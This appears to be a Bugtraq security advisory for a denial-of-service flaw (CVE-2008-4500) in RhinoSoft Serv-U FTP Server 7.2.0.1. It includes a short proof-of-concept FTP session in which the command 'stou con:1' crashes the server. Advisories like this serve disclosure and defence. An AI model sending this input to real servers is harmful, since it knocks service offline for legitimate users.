RhinoSoft Serv-U FTP Server 'sto con:1' Denial of Service Vulnerability

Bugtraq ID:	31556
Class:	Design Error
CVE:	CVE-2008-4500
Remote:	Yes
Local:	No
Published:	Oct 03 2008 12:00AM
Updated:	May 07 2015 05:22PM
Credit:	dmnt
Vulnerable:	Rhino Software Serv-U 7.2.0.1
Not Vulnerable:

RhinoSoft Serv-U FTP Server 'sto con:1' Denial of Service Vulnerability

Serv-U FTP server is prone to a denial of service vulnerability.

An attacker can exploit this vulnerability to cause the server to crash, effectively denying service to legitimate users.

Serv-U FTP server 7.2.0.1 is vulnerable; other versions may also be affected.

RhinoSoft Serv-U FTP Server 'sto con:1' Denial of Service Vulnerability

The following proof of concept is available:

220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
stou con:1
quit
221 Goodbye, closing session.

RhinoSoft Serv-U FTP Server 'sto con:1' Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

RhinoSoft Serv-U FTP Server 'sto con:1' Denial of Service Vulnerability

References:

• Serv-U Homepage (RhinoSoft)